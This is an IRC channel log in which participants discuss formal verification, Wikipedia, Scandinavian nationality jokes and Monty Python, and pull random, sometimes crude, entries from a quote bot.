#esoteric :MissPiggy: did you write that or sth? < 1267456304 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise, sth. < 1267456305 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not sure what kind of opinion you want < 1267456311 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: i refuse to apologise :) < 1267456359 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :[[Formal verification]] of computer programs. < 1267456365 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :You "simply" write a proof that your program is correct (including that it can't crash). Then you run the proof through a [[proof checker]] computer program. < 1267456371 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I know what it says. < 1267456375 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :just seems a bit patronizing... < 1267456392 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :but maybe it's just my wiki-hate < 1267456400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well the terminology is a bit oversimplified < 1267456407 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :...also i still don't get why you hate wikipedia < 1267456419 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :see [[wikipedia]] < 1267456421 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :or google it < 1267456427 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :^ that's why < 1267456444 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so you'd link to another source, even if it would be less helpful? < 1267456451 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :-_ < 1267456456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : MissPiggy: ah yes the liouville's constant 0.110... etc. requires more than just linear number of zeros (it's sum of 10^(-n!)) <-- should that be read as "sum sign (but unicode fail preventing the proper symbol)"? < 1267456462 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway nobody said dependent types so foo to that link < 1267456473 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no? < 1267456476 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise well the question is "What are some exciting areas for computer science related research?" < 1267456480 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what a stupid question! < 1267456482 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :turns out he was talking english < 1267456512 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: i'm really not interested in engaging in CSnerdrage no matter how stupid the question is... I didn't click when i saw it on proggit because I knew the answers would suck < 1267456513 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, weird. A mathematican not using the shortest possible symbol to talk about math!? < 1267456514 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i don't do unicode, so no < 1267456521 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mathematician* < 1267456530 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you realise that a lot of mathematics is done with words? < 1267456531 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or well, yes < 1267456536 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :formally verified proofs aren't really the done thing < 1267456539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or even totally formal proofs < 1267456539 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, of course -_- < 1267456559 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :alise you totally missed the point :| < 1267456568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1267456580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, whooooooooooooooooooooooooooooooooooooooosh < 1267456583 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just fyi < 1267456585 0 :MigoMipo!~MigoMipo@scandic824.host.songnetworks.se JOIN :#esoteric < 1267456600 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1267456636 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ∞ -j! < 1267456636 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :c = ∑ 10 < 1267456636 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :the point is that linking to [[wikipedia]] every second word, like some kind of [[blogger]] is just completely unhelpful < 1267456637 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : j=1 < 1267456641 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :impossible, AnMaster cannot whoosh anyone, fundamental physical law < 1267456644 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :food -> < 1267456645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: a joke is only funny if it has some basis in fact < 1267456663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ever heard about stereotypes? < 1267456670 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a joke based on a popular ignorance has to mock it to a large degree < 1267456682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rather than simply take it for granted and then following the usual "joke based on fact" process < 1267456695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'm starting to wonder if perhaps swedish culture has no jokes at all < 1267456701 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ffs, just admit you missed the point. < 1267456705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but of course you can't < 1267456744 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Just admit that you're wrong! I don't care if you're right, just concede once in a while!" < 1267456749 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yawn. Boring. Go away. < 1267456755 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267456755 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :15:17 < alise> i'm starting to wonder if perhaps swedish culture has no jokes at all < 1267456790 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"My hovercraft is full of eels!" "You have a HOVERCRAFT? Why the fuck did you let eels into it? Jeez." < 1267456827 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: that's hilarious, and I don't know why < 1267456889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"If all the things you sell have lots of spam in, you should call it a Spam Restaurant or something. And why are you saying spam multiple times?! Also, that singing gimmick is off-putting." < 1267456931 0 :asiekierka!asiekierka@078088180066.elblag.vectranet.pl JOIN :#esoteric < 1267456931 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1267456936 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Well, swallows fly at different speeds at different times and in different situations, I'd imagine. So I couldn't answer that question, but then again, nobody else can. So I'd say that the error is on /your/ part, for asking a question that is not meaningful." < 1267456953 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :i'm reading about neural networks < 1267456957 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :gah, now I'm trying to remember, I actually looked it up < 1267456959 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :was it 18 mph? < 1267457080 0 :alise!unknown@unknown.invalid NICK :ceiiinosssttuv < 1267457089 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :ceinostuv? < 1267457091 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :what is this even < 1267457231 0 :ceiiinosssttuv!unknown@unknown.invalid NICK :alise < 1267457233 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that lasted long < 1267457278 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, African swallow? < 1267457279 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: swedish jokes mainly consist of taking norwegian jokes about swedes, and swapping the norwegian and swedish characters. hope this helps. < 1267457292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, NO! it is the other way around < 1267457292 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, european; there's insufficient data on african swallows < 1267457296 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I was about to say, dammit :P < 1267457298 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: LIES < 1267457300 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you steal our jokes about you < 1267457316 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I should live on the Swedish-Norwegian border; it would be /rad/ < 1267457322 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :please tell me that the /only/ norwegian joke is the one that oerhan just gave < 1267457325 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*oerjan < 1267457328 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :then it would be perfect < 1267457338 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267457352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, alas no. < 1267457361 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1267457364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :could be for Norway < 1267457371 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but have lots more about them :P < 1267457403 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow there is a site dedicated to them... < 1267457406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://norgehistorier.se/ < 1267457417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, now don't steal those and swap things :P < 1267457446 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Our nationality-related jokes generally tend to have a triplet; a Finn, a Swede and a Norwegian. < 1267457451 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway that on that front page is quite representative of the general style of them < 1267457457 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i raise those with http://www.svenskevitser.com/ < 1267457474 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, oh we have those style too. But usually Bellman, a German and a Norwegian < 1267457483 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: we usually use a dane instead of a finn < 1267457489 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why Bellman I have no idea < 1267457508 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but we also have jokes about the finns, whose main character is _always_ called Pekka < 1267457518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, of course < 1267457528 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(and secondary character is frequently called Toivonen) < 1267457549 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, and all Norwegians går på tur < 1267457562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(which is a strange way to say that they are skiing) < 1267457563 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ut på tur, aldri sur < 1267457571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, haven't heard that < 1267457579 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :I believe that taking a walk through the rain without an umbrella illustrates this concept quite satisfactorily. < 1267457586 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um no that would be skitur. a tur alone may be just walking. < 1267457595 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or even be a båttur < 1267457607 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, gå på båttur? < 1267457608 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: The interwebs tell me the characters in those jokes are supposed to be Pekka and Jorma. (But that's from a draft of a paper from a Finnish university docent.) < 1267457609 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth < 1267457613 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: who's the stupid one in that triplet? < 1267457623 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, or do you have gå = go? sv:gå = en:walk < 1267457629 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :typical for English nationality jokes is to have an Englishman, a Scotsman, and an Irishman < 1267457631 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: i guess the verb would be "dra" rather than "gå" in that case < 1267457640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, right < 1267457651 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and the typical pattern is for the Englishman and Scotsman to both behave sensibly but differently, and then the Irishman to do something stupid < 1267457677 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Occasionally the Finn; if not that, then both the others. < 1267457689 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267457690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"Vet du varför norrmänen har ett sandpapper ut i öknen? De tror att det är en karta!!" → "Do you know why Norwegians take a sand paper with them in deserts? Because they think it is a map" < 1267457696 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :very typical of the style < 1267457705 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is annoyed that google has started garbling its links with redirecting through itself. now i have to _visit_ the sites to easily paste their links.
< 1267457705 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what those jokes are like in Scotland
< 1267457723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, what about Wales? < 1267457741 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that's also worth wondering about < 1267457747 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :15:33 < scarf> typical for English nationality jokes is to have an Englishman, a Scotsman, and an Irishman < 1267457750 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :scarf, this ^ < 1267457758 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: ? < 1267457763 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :in scotland < 1267457770 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also, the browser history button has become buggy :( < 1267457784 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :thing is we don't even swap the characters around we just repeat them verbatim < 1267457791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh this was was quite good (translated): "Do you know why there will be a war between Norway and Sweden in 100 years? Answer: Because that is when then get our jokes." < 1267457793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, ^ < 1267457800 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267457849 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :MissPiggy: well, that sort of English joke is not uncomplimentary towards the Scottish at all, so I don't see why there'd be a need to change it < 1267457901 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: i haven't even _heard_ the name Jorma, may be something recent < 1267457936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I believe that taking a walk through the rain without an umbrella illustrates this concept quite satisfactorily. <-- as long as you don't dance while doing it < 1267457991 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: brilliant. you don't even need to switch anything :D < 1267458014 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, har! < 1267458031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah that one works both ways < 1267458053 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh you mean it didn't say which nationality at all < 1267458062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(that was "we") < 1267458076 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267458103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, well, if it is against the Norwegians, then it is clearly them who are stupid. But if it is used against the Swedish, it is obviously meant to be read as "Norwegian jokes are so far fetched" < 1267458103 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267458116 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_obviously_ < 1267458136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, see it works both ways both ways! < 1267458142 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not a typo) < 1267458168 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyone know much about SCTP here btw? < 1267458237 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: btw the same joke about the war is essentially no. 5 on svenskevitser.com < 1267458264 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although generously with only 40 years < 1267458278 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, see, we are way smarter than you! < 1267458279 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :clearly, Sweden's going to attack first < 1267458291 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :scarf: ooh < 1267458338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scarf, I doubt it. By that point the gov will have cut the army funds so we have 2 soldiers (hey at least that is one more than Lancre!) < 1267458426 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well still, don't go to work against Lancre. i hear their grannies are something fierce. < 1267458430 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*war < 1267458449 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION beats Muphry with the saucepan ===\__/
< 1267458556 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, indeed < 1267458624 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1267458828 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: that's old < 1267458842 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: what's old? < 1267458845 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :your old < 1267458857 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :both of you < 1267458892 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :what about our old < 1267458908 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :what about my old < 1267458919 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: is cutting the army funds really a big problem? < 1267458920 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :how will it survive in the cold? < 1267458924 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's not like anyone's bombing sweden :P < 1267458934 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i forgot what was old XD < 1267459047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, hi there, what do you think of this very early draft for a replacement for SOCK/SCKE (which have a number of issues, such as unix sockets being impossible due to the flag being below the address, and the address being either an ipv4 ip in one cell, or a 0gnirts, which means you can't know which format it is in): http://sprunge.us/OJFX < 1267459145 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alise: the cutting of the army funds before WW2 was a big issue in norway... < 1267459181 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sweden wisely had not done so, and weren't invaded. or something like that. < 1267459193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes, it's before ww2 < 1267459198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, actually we had cut them somewhat too, but not as much iirc < 1267459223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, nowdays, Sweden is worse off < 1267459363 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267459596 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459609 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :31|IN AN ALTERNATE UNIVERSE: In an alternate universe, I would say "In an alternate universe, ehird has taste" < 1267459629 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459630 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :125|Note that quote number 124 is not actually true. < 1267459638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote 124 < 1267459639 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :124| I cannot eat meat that isn't flat. < 1267459649 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459650 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :31|IN AN ALTERNATE UNIVERSE: In an alternate universe, I would say "In an alternate universe, ehird has taste" < 1267459652 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1267459652 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459653 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :1| I've always wanted to kill someone. >.> < 1267459655 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459656 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :121| My mascot is a tree of broccoli. < 1267459656 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 42 < 1267459657 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :42| after all, what are DVD players for? < 1267459657 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459659 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :22|IN AN ALTERNATE UNIVERSE: First, invent the direct mind-computer interface. Second, learn the rest with your NEW MIND-COMPUTER INTERFACE. < 1267459662 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459663 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :78| ??? Are the cocks actually just implanted dildos? Or are there monster dildos and cocks? Or are both the dildos and cocks monster? < 1267459673 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459673 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :is there any way to get quotes by a particular person? < 1267459674 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :100| Warrigal: what do you mean by 21? < 1267459678 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 84 < 1267459680 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :84| Porn. There, see? < 1267459682 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: yes, use sgeo's text file of them < 1267459684 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and grep it < 1267459684 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 81 < 1267459685 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :81| What is there to talk about besides gay slang? < 1267459686 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ping Sgeo link us < 1267459689 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh he's not here < 1267459696 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I am < 1267459700 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :*GASP* < 1267459706 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267459708 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :link us to the file < 1267459710 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plz kthx < 1267459723 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Hold on < 1267459726 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459727 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :98| ehird: every set can be well-ordered. corollary: every set s has the same diagram used from famous program talisman with fnord windows to cascade, someone i would never capitalize " i" < 1267459732 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 3 < 1267459733 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :3| EgoBot just opened a chat session with me to say "bork bork bork" < 1267459736 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 5 < 1267459737 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :5| Hmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... More practice is in order. < 1267459740 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 7 < 1267459740 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :7| that's where I got it rocket launch facility gift shop < 1267459742 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459743 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :1| I've always wanted to kill someone. >.> < 1267459743 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 11 < 1267459745 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :11| TODO: sex life < 1267459746 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 13 < 1267459747 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :13|* ehird has joined #lobby hmmm clean me < 1267459750 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 17 < 1267459751 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :17| :d <(I can lick my nose!) < 1267459752 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: your random number generator is either too good or too bad < 1267459752 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :`quote 18 < 1267459753 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :18| GregorR-L: i bet only you can prevent forest fires. basically, you know. < 1267459756 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459757 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :71| If I ever made a game where you jabbed bears ... I'd call it jabbear. < 1267459759 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459760 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :18| GregorR-L: i bet only you can prevent forest fires. basically, you know. < 1267459760 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :http://209.20.80.194/sgeo/quotes.txt < 1267459765 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: thx < 1267459767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: ^ < 1267459768 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :yw < 1267459770 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://209.20.80.194/sgeo/quotes.txt < 1267459776 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION rubs eyes
< 1267459780 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :It's Monday morning and alise is here? < 1267459782 0 :MissPiggy!unknown@unknown.invalid PRIVMSG #esoteric :`quote < 1267459785 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :57| `translatefromto hu en Hogy hogy hogy ami kemeny How hard is that < 1267459802 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: It's Complicated(TM). < 1267459811 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :how do you add extra quotes < 1267459817 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yay! Complicated(TM)! < 1267459823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :asiekierka: NOBODY TELL HIM < 1267459851 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :I will give cake to the first person that does < 1267459853 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'll try to look at after I regain consciousness < 1267459874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: tl;dr a larger, but much less straining crisis is currently happening and I don't have the strength to keep up the regular facade until it is resolved... so I'm not attending. Of course if they're right about being able to section me this won't last long. < 1267459882 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But I think there's an awful lot of bluff to that statement. < 1267459891 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: You're a p-zombie?! < 1267459892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AAAAAAAAA < 1267459901 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : MIIIIIIIIIIIINDS < 1267459901 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :wait < 1267459908 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :forgot to do something today < 1267459909 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :what was it... < 1267459949 0 :asiekierka!unknown@unknown.invalid PRIVMSG #esoteric :oh, right! < 1267459960 0 :asiekierka!unknown@unknown.invalid TOPIC #esoteric :0 days since last topic change | 0 days since last alise sighting | For those who don't know: INTERCAL is basically the I Wanna Be The Guy of programming languages. Not useful for anything serious, but pretty funny when viewed from the outside. | cpressey: You're a p-zombie?! | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1267459984 0 :alise!unknown@unknown.invalid TOPIC #esoteric :alise sighting counter currently out of order | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1267459985 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: I'll try to look at after I regain consciousness <-- what happened? < 1267459988 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION really needs to go wash some clothes and get ready for school
